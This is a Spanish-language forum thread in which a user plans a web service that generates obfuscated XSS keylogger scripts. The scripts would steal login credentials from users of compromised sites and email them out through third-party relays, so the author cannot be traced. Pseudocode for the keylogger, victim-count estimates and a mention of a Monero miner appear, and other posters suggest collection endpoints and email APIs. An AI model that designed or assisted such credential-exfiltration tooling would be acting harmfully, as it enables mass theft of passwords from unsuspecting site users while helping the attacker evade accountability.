Enviar form sin necesidad de Servidor?

Iniciado por @XSStringManolo, 13 Agosto 2019, 15:15 PM

0 Miembros y 2 Visitantes están viendo este tema.

@XSStringManolo

Estoy generando este código desde un script:
Código (html4strict) [Seleccionar]
<html>
<head><title>P.LFZM</title></head>
<body>
<form action="https://formspree.io/example@gmail.com"method="POST">
  <input type="text" name="name">
  <input type="email" name="_replyto">
  <input type="submit" value="Send">
</form>
</body>
</html>


Probé con este servicio de formspree.io y con otros que se suponen que te permiten enviar correos sin necesidad de servidores(por mi parte) de distintas formas. El problema es que todos ellos tienen captchas o surgen problemas que no consigo solventar.

No quiero hacerme cargo del PHP ni del hosting.
Quiero que se pueda usar todo usando servicios de terceros, ya que no quiero vinculación de ningún tipo con el uso que se de a mi código, ya que es parte de un proyecto para explotar XSS automáticamente desde una web tipo: exploitXSS.example.com con tan solo poner el correo en un prompt para que se le envie la información obtenida desde la página afectada.

Sabeis como podría hacerlo o alternativas similares?

[u]nsigned

Hola, a simple vista veo que tenes un error, tenes que separar las propiedades con un espacio, fijate que te falta un espacio entre 'method' y 'action' en el tag FORM:

Código (html4strict) [Seleccionar]

<html>
<head><title>P.LFZM</title></head>
<body>
<form action="https://formspree.io/example@gmail.com" method="POST">
 <input type="text" name="name">
 <input type="email" name="_replyto">
 <input type="submit" value="Send">
</form>
</body>
</html>

No hay atajo ante la duda, el misterio se hace aquí...
Se hace carne en cada uno, el misterio es existir!

@XSStringManolo

[quote author=nsigned link=topic=498501.msg2201389#msg2201389 date=1565706312]
Hola, a simple vista veo que tenes un error, tenes que separar las propiedades con un espacio, fijate que te falta un espacio entre 'method' y 'action' en el tag FORM:

Código (html4strict) [Seleccionar]

<html>
<head><title>P.LFZM</title></head>
<body>
<form action="https://formspree.io/example@gmail.com" method="POST">
 <input type="text" name="name">
 <input type="email" name="_replyto">
 <input type="submit" value="Send">
</form>
</body>
</html>

[/quote]
Sí no me fijé, pero eso no resuelve mi consulta.

MinusFour

Dudo mucho que haya un servicio público así, lo utilizarían para mandar spam. Encima, si ya estás usando un correo... de alguna u otra forma te estás vinculando.

@XSStringManolo

Cita de: MinusFour en 13 Agosto 2019, 18:15 PM
Dudo mucho que haya un servicio público así, lo utilizarían para mandar spam. Encima, si ya estás usando un correo... de alguna u otra forma te estás vinculando.
Realmente con un hosting gratuito lo puedes hacer, solo necesitas crear la cuenta una vez cubriendo el captcha.

El correo sería para cada usuario del servicio. Tu accedes a mi web, pones la dirección del correo y se te copia el script en el portapapeles. Después solo tienes que ir al sitio con la vulnerabilidad XSS y pastear el código. Así yo no tengo nada que ver con lo que tu hagas con mi script. Si utilizo mi server para recibir los datos generados por el script de cada usuario:
-Se me peta el server.
-El server necesita estar operativo para que funcione el servicio.
-Mi server se convierte en el que "roba" y almacena(temporalmente) información de los usuarios y me hace responsable.
-Si uso un hosting gratuito estoy en las mismas. El hosting tendré que crearlo yo para subministrárselo a los clientes del servicio.

Por eso buscaba alguna forma como mandar los datos que el script obtiene de los usuarios del sitio sin yo tener que estar en el medio.
Pensé en algún servicio como el mencionado o uno para mandar emails desde el navegador sin la necesidad de tener yo un servidor o manejarlo de ninguna forma. Sé que hay varias opciones, pero no consigo encontrar nada que me funcione.

Por eso pregunto por aquí a ver si se os ocurre cualquier alternativa. Tiene que haber un montón de alternativas pero no sé lo que podría funcionar de forma sencilla. El tema es automatizar el proceso para que solo sea introducir el correo, copiar el script generado e insertarlo en la web vulnerable.

MinusFour

Es casi lo mismo, solo que con un paso extra, tienes que registrar una cuenta...

1. Yo me registro con tu servidor
2. Me das el script que voy a usar para enviar correos
3. Uso el script para enviar corrreos a quien quiera.

Otra cosa es que el formato quizás no sea lo ideal... pero como quiera, SPAM es SPAM.

@XSStringManolo

#6
Cita de: MinusFour en 13 Agosto 2019, 19:41 PM
Es casi lo mismo, solo que con un paso extra, tienes que registrar una cuenta...

1. Yo me registro con tu servidor
2. Me das el script que voy a usar para enviar correos
3. Uso el script para enviar corrreos a quien quiera.

Otra cosa es que el formato quizás no sea lo ideal... pero como quiera, SPAM es SPAM.
1. Requiere que yo proporcione un servidor en el cual te registres o a traves del cual te registres. Me convierto en responsable de ofrecer un servicio ilegal o facilitarlo siendo un elemento necesario de cada infeción.
Como usas el script para enviar a correos a quien quieras?

Creo que no me explique bien.
Caso hipotético.
Tú MinusFour encuentras un xss en este foro en el propio loggin que te permite escribir un codigo javascript con el que puedes inyectar código al sitio. Lo que quieres es un keylogger que se ejecute por parte de todos los usuarios que accedan al foro, así cuando alguien escriba su usuario y contraseña se te envie por correo. Esto implica que tendrás que escribir código.
Mi sitio lo que ofrece es escribir ese código por ti, y que mediante el uso de pocos prompts tengas todo el código listo sin necesidad de que tú tengas que escribir una sola línea de código. Copiar y pegar.

Entonces entras a example.com/Keylogger y ya te salta el prompt:
Introduce el correo al que enviar los datos recabados por el Keylogger:
micorreo@example.com

Script Generado:
《script》
...
...
...
Ofuscar(Keylogger(){obtenerTeclasPulsadasEnLaPestaña();EnviarACorreo(TeclasPulsadas, micorreo@example.com);}
var DetectadoIntentoEnvioDeCredenciales = false;
while (PestañaActiva) {
if (DetectadoIntentoEnvioDeCredenciales) {Keylogger();}}
...
...
...
)《/script》

Ahora solo tienes que ir al formulario del foro, darle a pegar y enviar. El script es inyectado en la página.
Ahora yo StringManolo accedo al apartado del loggin del foro y escribo:
String Manolo micontraseñaesesta

El keylogger captura las credenciales y las envia al correo automáticamente.
Ahora otro usuario accede y se loggea y lo mismo.

Si uso mi servidor o mi hosting para mandar el correo, cuando ElBrujo vea el fuente con el script inyectado verá que los datos que pilla el keylogger son enviados a mi servidor o hosting desde el script. Y eso es lo que no quiero, ya que yo no he sido quien a infectado al sitio.
Para yo no ser localizado tendría que montar una infraestructura, ser muy cuidadoso, mantenerlo activamente para que no sea vulnerado, tenerlo online 24/7 para que el servicio esté activo, etc.
Mucho dolor de cabeza cuando yo lo único que hago es generar un script.

Otra opción es generar el PHP también y que el usuario lo ponga en su server. Pero claro, mi página va dirigida a clientes del sitio que no tengan conocimientos, ya que vienen redirigidos de un scanner que busca XSS y una guía con dorks para hacerlo a mano. Entonces complicaría el proceso para el cliente y aún por encima requiere que el cliente tenga su propio servidor.

Por eso la alternativa que se me ocurre es usar una lista de servicios de terceros que me permitan mandar los datos que obtiene el keylogger mediante correo. Así reduciría toda la complejidad de meter servidores míos o del cliente de por medio y la infección se podría hacer de modo seguro.

Obviamente no todos los sitios se pueden infectar de forma tan fácil. Pero de forma resumida sin entrar en más detalles ese es el problema que quiero solventar y no consigo como hacerlo.

Otro problema es la burrada de tráfico que se puede generar...
Si 100 personas generan un script. Cada persona infecta 10 sitios de media, y cada sitio tiene 100 usuarios de media que introducen credenciales y otras cosas...
Serian 1000 sitios infectados con 100000 usuarios en total que ponen sus credenciales u otras cosas. Y algunos con uso continuado. Lo que podrían generar el envio de millones de correos en relativamente poco tiempo. Lo cual no creo que me lo permita ningún servicio de terceros.

Alguna idea de como o alternativas, workarounds? Es un buen lío para resolverlo xD

#!drvy

La idea esta guay, pero dudo que encuentres un servicio así y si acaso lo encuentras o lo chapan o los correos nunca llegaran. Los servicios que están así de expuestos tienden a entrar en las blacklist porque los bots los encuentran y se los comen... y cuando entras en una blacklist, jodes la IP entera, a veces incluso un rango entero.... y .... eso no gusta a ningun servicio de hosting xD

Un servicio que me acabo de encontrar así buscando a ver si yo encuentro algo es https://beeceptor.com

Te permite generar un endpoint y mostrarte lo que recibe aunque por lo que he visto, no es persistente y tienes que tenerlo abierto para ir viendo la información que entra.


Quizás lo suyo seria crearle el script al usuario e indicarle que se lo suba el mismo a una cuenta de un hosting suyo o algo.

Saludos


MinusFour

Un servicio público así no creo que te lo encuentres y es volviendo a lo mismo. Quizás lo que te puedas encontrar es algún cliente email que tenga una API REST. Claro que si es una API rest va a tener que ser un servicio con CORS activado o vas a tener que buscarte alguna forma de saltarte el SOP.

El usuario al final de cuentas es el que usa su correo y tu no figuras en lo que el hizo más que el hecho de que tu le diste el código. En el peor de los casos, te haces tu el cliente de correo. Y si alguien da con tu cliente de correo, eso es lo único que ven, no estás haciendo nada malo.

Y si no quieres hacer nada de eso, tu simplemente dejas un cliente web que ellos pueden instalar en algún servidor y tu solo les has dado el código. No tiene ninguna gracia, puedes dejar el cliente en un contenedor de docker y el deployment se hace en segundos con cualquiera de las plataformas que usen docker (digital ocean, azure, aws, gce, etc).

En fin, no es la primera vez que programas así le pidan a un usuario hostear su propia aplicación en algún lugar para retroalimentación. En fin, que esto es una utilidad, no tienes porque ser el host para nada.

@XSStringManolo

Igual le hago unos ejecutables con el PHP y otros con el server en node.js con el server y todo hecho con su documentación para que se descargen. Pillo la dirección de correo de las dependencias del ejecutable o desde el propio ejecutable y edito los documentos desde el ejecutable para que recorra el documento y escriba la dirección del correo que se encuentra en el archivo que lo contiene.
No es complicado pero vaya coñazo... Daré prioridad al minador que estoy intentando hacer para cpu con monero, así al menos saco pa un paquete de pipas mientras usan el server y la web :xD